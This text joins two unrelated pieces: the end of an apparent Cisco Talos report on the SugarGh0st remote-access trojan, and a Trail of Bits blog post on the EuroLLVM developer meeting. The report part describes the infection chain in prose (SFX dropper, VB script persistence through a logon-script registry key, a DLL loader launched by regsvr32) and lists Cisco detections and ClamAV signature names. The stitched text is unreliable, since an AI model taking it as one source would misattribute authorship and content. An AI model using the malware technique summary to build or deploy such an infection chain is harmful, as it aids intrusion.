The threat actor is using an SFX RAR as the initial vector in this attack. When a victim runs the executable, the SFX script executes to drop a decoy document, DLL loader, encrypted SugarGh0st, and a malicious VB script into the victim’s user profile temporary folder and executes the malicious VB script.  

The malicious VB script establishes persistence by writing the command to the registry key UserInitMprLogonScript which executes when a user belonging to either a local workgroup or domain logs into the system. 

When a user logs into the system, the command runs and launches the loader DLL “update.dll” using regsvr32.exe. The loader reads the encrypted SugarGg0st RAT “authz.lib”, decrypts it and injects it into a process. This technique is same as that of the SugarGh0st campaign disclosed by the Kazakhstan government in February. 

Coverage 

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here. 

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks. 

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here. 

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat. 

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products. 

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here. 

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them. 

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center. 

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. 

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Snort SID for this threat is 62647. 

ClamAV detections are also available for this threat: 

Win.Trojan.SugarGh0stRAT-10014937-0 

Win.Tool.DynamicWrapperX-10014938-0 

Txt.Loader.SugarGh0st_Bat-10014939-0 

Win.Trojan.SugarGh0stRAT-10014940-0 

Lnk.Dropper.SugarGh0stRAT-10014941-0 

Js.Trojan.SugarGh0stRAT-10014942-1 

Win.Loader.Ramnit-10014943-1 

Win.Backdoor.SugarGh0stRAT-10014944-0 

Win.Trojan.SugarGh0st-10030525-0 

Win.Trojan.SugarGh0st-10030526-0 

Orbital Queries 

Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat. For specific OSqueries related to this threat, please follow the links: 

• SugarGh0st RAT file detected 
• SugarGh0st RAT Registry key  

Indicators of Compromise 

Indicators of Compromise associated with this threat can be found here 

By Marek Surovič and Henrich Lauko

EuroLLVM is a developer meeting focused on projects under the LLVM Foundation umbrella that live in the LLVM GitHub monorepo, like Clang and—more recently, thanks to machine learning research—the MLIR framework. Trail of Bits, which has a history in compiler engineering and all things LLVM, sent a bunch of our compiler specialists to the meeting, where we presented on two of our projects: VAST, an MLIR-based compiler for C/C++, and PoTATo, a novel points-to analysis approach for MLIR. In this blog post, we share our takeaways and experiences from the developer meeting, which spanned two days and included a one-day pre-conference workshop.

Security awareness

A noticeable difference from previous years was the emerging focus on security. There appears to be a growing drive within the LLVM community to enhance the security of the entire software ecosystem. This represents a relatively new development in the compiler community, with LLVM leadership actively seeking expertise on the topic.

The opening keynote introduced the security theme, asserting it has become the third pillar of compilers alongside optimization and translation. Kristof Beyls of ARM delivered the keynote, providing a brief history of how the concerns and role of compilers have evolved. He emphasized that security is now a major concern, alongside correctness and performance.

The technical part of the keynote raised an interesting question: Does anyone verify that security mitigations are correctly applied, or applied at all? To answer this question, Kristof implemented a static binary analysis tool using BOLT. The mitigations Kristof picked to verify were -fstack-clash-protection and -mbranch-protection=standard, particularly its pac-ret mechanism.

The evaluation of the BOLT-based scanner was conducted on libraries within a Fedora 39 AArch64-linux distribution, comprising approximately 3,000 installed packages. For pac-ret, analysis revealed 2.5 million return instructions, with 46 thousand lacking proper protection. Scanning 1,920 libraries that use -fstack-clash-protection identified 39 as potentially vulnerable, although some could be false positives.

An intriguing discussion arose regarding the preference for BOLT over tools like IDA, Ghidra, or Angr from the reverse-engineering domain. The distinction lies in BOLT’s suitability for batch processing of binaries, unlike the user-interactivity focus of IDA or Ghidra. Furthermore, the advantage of BOLT is that it supports the latest target architecture changes since it is part of the compilation pipeline, whereas reverse engineering tools often lag behind, especially concerning more niche instructions.
For further details, Kristof’s RFC on the LLVM discourse provides additional information.

For those interested in compiler hardening, the OpenSSF guidelines offer a comprehensive overview. Additionally, for a more in-depth discussion of security for compiler engineers, we suggest reading the Low Level Software Security online book. It’s still a work in progress, and contributions to the guidelines are welcome.

One notable talk on program analysis and debugging was Incremental Symbolic Execution for the Clang Static Analyzer, which discussed how the Clang Static Analyzer can now cache results. This innovation helps keep diagnostic information relevant across codebase changes and minimizes the need to invoke the analyzer. Another highlight was Mojo Debugging: Extending MLIR and LLDB, which explored new developments in LLDB, allowing its use outside the Clang environment. This talk also covered the potential upstreaming of a debug dialect from the Modular warehouse.

MLIR is not (only) about machine learning

MLIR is a compiler infrastructure project that gained traction thanks to the machine learning (ML) boom. The ML in MLIR, however, stands for Multi-Level, and the project allows for much more than just tinkering with tensors. SiFive, renowned for their work on RISC-V, employs it in circuit design, among other applications. Compilers for general-purpose languages using MLIR are also emerging, such as JSIR Dialect for JavaScript, Mojo as a superset of Python, ClangIR, and our very own VAST for C/C++.

The MLIR theme of this developer meeting could be summarized as “Figuring out how to make the most of LLVM and MLIR in a shared pipeline.” A number of speakers presented work that, in one way or another, concluded that many performance optimizations are better done in MLIR thanks to its better abstraction. LLVM then is mainly responsible for code generation to the target machine code.

After going over all the ways MLIR is slow compared to LLVM, Jeff Niu (Modular) remarked that in the Mojo compiler, most of the runtime is still spent in LLVM. The reason is simple: there’s just more input to process when code gets compiled down to LLVM.

A team from TU Munich even opted to skip LLVM IR entirely and generate machine-IR (MIR) directly, yielding ~20% performance improvement in a Just-in-Time (JIT) compilation workload.

Those intrigued by MLIR internals should definitely catch the second conference keynote on Efficient Idioms in MLIR. The keynote delved into performance comparisons of different MLIR primitives and patterns. It gave developers a good intuition about the costs of performing operations such as obtaining an attribute or iterating or mutating the IR. On a similar topic, the talk Deep Dive on Interfaces Implementation gave a better insight into a cornerstone of MLIR genericity. These interfaces empower dialects to articulate common concepts like side effects, symbols, and control flow interactions. The talk elucidated their implementation details and the associated overhead incurred in striving for generality.

Region-based analysis

Another interesting trend we’ve noticed is that several independent teams have found that analyses traditionally defined using control flow graphs based on basic blocks may achieve better runtime performance when performed using a representation with region-based control flow. This improvement is mainly because analyses do not need to reconstruct loop information, and the overall representation is smaller and therefore quicker to analyze. The prime example presented was dataflow analysis done inside the Mojo compiler.

For cases like Mojo, where you’re starting with source code and compiling down an MLIR-based pipeline, switching to region-based control flow for analyses is only a matter of doing the analysis earlier in the pipeline. Other users are not so lucky and need to construct regions from traditional control flow graphs. If you’re one of those people, you’re not alone. Teams in the high-performance computing industry are always looking for ways to squeeze more performance from their loops, and having loops explicitly represented as regions instead of hunting for them in a graph makes a lot of things easier. This is why MLIR now has a pass to lift control flow graphs to regions-based control flow. Sounds familiar? Under the hood, our LLVM-to-C decompiler Rellic does something very similar.

Not everything is sunshine and rainbows when using regions for control flow, though. The regions need to have a single-entry and single-exit. Many programming languages, however, allow constructs like break and continue inside loop bodies. These are considered abnormal entries or exits. Thankfully, with so much chatter around regions, core MLIR developers have noticed and are cooking up a major new feature to address this. As presented during the MLIR workshop, the newly designed region-based control flow will allow specifying the semantics of constructs like continue or break. The idea is pretty simple: these operations will yield a termination signal and forward control flow to some parent region that captures this signal. Unfortunately, this still does not allow us to represent gotos in our high-level representation, as the signaling mechanism does allow users to pass control-flow only to parent regions.

C/C++ successor languages

The last major topic at the conference was, as is expected in light of recent developments, successor languages to C/C++. One such effort is Carbon, which had a dedicated panel. The panel questions ranged from technical ones, like how refactoring tools will be supported, to more managerial ones, like how Carbon will avoid being overly influenced by the needs of Google, which is currently the main supporter of the project. For a more comprehensive summary of the panel, check out this excellent blog post by Alex Bradbury.

Other C++ usurpers had their mentions, too—particularly Rust and Swift. Both languages recognize the authority of C++ in the software ecosystem and have their own C++ interoperability story. Google’s Crubit was mentioned for Rust during the Carbon panel, and Swift had a separate talk on interoperability by Egor Zhdan of Apple.

Our contributions

Our own Henrich Lauko gave a talk on a new feature coming to VAST, our MLIR-based compiler for C/C++: the Tower of IRs. The big picture idea here is that VAST is a MLIR-based C/C++ compiler IR project that offers many layers of abstraction. Users of VAST then can pick the right abstractions for their analysis or transformation use-case. However, there are numerous valuable LLVM-based tools, and it would be unfortunate if we couldn’t use them with our higher-level MLIR representation. This is precisely why we developed the Tower of IRs. It enables users to bridge low-level analysis with high-level abstractions.

The Tower of IRs introduces a mechanism that allows users to take snapshots of IR between and after transformations and link them together, creating a chain of provenance. This way, when a piece of code changes, there’s always a chain of references back to the original input. The keen reader already has a grin on their face.

The demo use case Henrich presented was repurposing LLVM analyses in MLIR by using the tower to bring the input C source all the way down to LLVM, perform a dependency analysis, and translate analysis results all the way back to C via the provenance links in the tower.

Along with Henrich, Robert Konicar presented the starchy fruits of his student labor in the form of PoTATo. The project implements a simple MLIR dialect tailored towards implementing points-to analyses. The idea is to translate memory operations from a source dialect to the PoTATo dialect, do some basic optimizations, and then run a points-to analysis of your choosing, yielding alias sets. To get relevant information back to the original code, one could of course use the VAST Tower of IRs. The results that Robert presented on his poster were promising: applying basic copy-propagation before points-to analysis significantly reduced the problem size.

AI Corridor talks

Besides attending the official talks and workshops, the Trail of Bits envoys spent a lot of time chatting with people during breaks and at the banquet. The undercurrent of many of those conversations was AI and machine learning in all of its various forms. Because EuroLLVM focuses on languages, compilers, and hardware runtimes, the conversations usually took the form of “how do we best serve this new computing paradigm?”. The hardware people are interested in how to generate code for specialized accelerators; the compiler crowd is optimizing linear algebra in every way imaginable; and languages are doing their best to meet data scientists where they are.

Discussions about projects that went the other way—that is, “How can machine learning help people in the LLVM crowd?”—were few and far between. These projects typically did research into various data gathered in the domains around LLVM in order to make sense out of them using machine learning methods. From what we could see, things like LLMs and GANs were not really mentioned in any way. Seems like an opportunity for fresh ideas!